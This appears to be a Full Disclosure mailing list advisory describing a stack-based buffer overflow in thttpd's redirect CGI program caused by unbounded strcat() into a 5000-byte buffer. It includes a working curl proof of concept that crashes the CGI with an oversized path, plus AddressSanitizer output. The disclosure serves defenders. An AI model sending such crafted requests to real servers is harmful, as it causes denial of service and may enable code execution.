thttpd v2.26 Stack-Based Buffer Overflow in thttpd redirect CGI Program

[Ron E <ronaldjedgerson () gmail com>]

*Description:*
A stack-based buffer overflow vulnerability exists in the redirect CGI
program distributed with thttpd. The vulnerability is caused by unsafe
string concatenation when constructing redirect URLs using
attacker-controlled CGI environment variables. A remote, unauthenticated
attacker can trigger the vulnerability via a crafted HTTP request,
resulting in a crash of the CGI process and denial of service. In
environments lacking modern exploit mitigations, this condition may be
exploitable for arbitrary code execution.

The redirect CGI program processes HTTP requests by reading CGI environment
variables such as SCRIPT_NAME and PATH_INFO. When a wildcard redirect rule
(*) is present in the .redirects file, the program appends user-controlled
path data to a fixed-size stack buffer using strcat() without enforcing
bounds checks. Specifically, when a redirect rule contains a wildcard
match, the following logic is executed:
strcat(url, script_name + (star - file)); Both script_name and the appended
data originate from HTTP request paths controlled by the client. No
validation is performed to ensure the combined string length fits within
the allocated stack buffer (char url[5000]), resulting in a stack-based
buffer overflow.

*Affected Component:*

   - Project: thttpd
   - Component: cgi-src/redirect.c
   - Program Type: CGI executable
   - Affected Function: main()
   - Vulnerable Operation: strcat() on fixed-size stack buffer
   - Vulnerable Buffer: char url[5000]


*Attack Vector*

   - Remote
   - Unauthenticated
   - No user interaction required


*Proof of Concept (Remote):*

*Attacker:*
curl "http://127.0.0.1:8080/cgi-bin/redirect$(printf '/A%.0s' {1..1000})"
----
curl: (52) Empty reply from server
This indicates the CGI process terminated unexpectedly during request
handling.

*Server:*
busybox httpd -f -p 8080 -h /var/www

*Output:*
=================================================================
==173922==ERROR: AddressSanitizer: stack-buffer-overflow on address
0xfbff8c503cd8 at pc 0xffff8ee025f0 bp 0xffffe5394370 sp 0xffffe5393b50
WRITE of size 70 at 0xfbff8c503cd8 thread T0
    #0 0xffff8ee025ec in strcat
../../../../src/libsanitizer/asan/asan_interceptors.cpp:520
    #1 0xaaaae2ce2478 in main /root/thttpd/cgi-src/redirect.c:195
    #2 0xffff8e4c2598 in __libc_start_call_main ../sysdeps/nptl
/libc_start_call_main.h:58
    #3 0xffff8e4c2678 in __libc_start_main_impl ../csu/libc-start.c:360
    #4 0xaaaae2ce1cac in _start (/root/thttpd/cgi-src/redirect+0x1cac)
(BuildId: dc697d7fab1c2439351593ff9fdb0104c36471ba)

Address 0xfbff8c503cd8 is located in stack of thread T0 at offset 15576 in
frame
    #0 0xaaaae2ce1e80 in main /root/thttpd/cgi-src/redirect.c:127

Ron Edgerson
Vulnerability Researcher & Exploit Developer

CVE Research | Binary Exploitation | Application & Systems Security
Responsible Disclosure • Proof-of-Concept Development

🌐 https://github.com/ob1sec
🔗 https://www.linkedin.com/in/ronedgerson1
<https://linkedin.com/in/yourhandle>
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/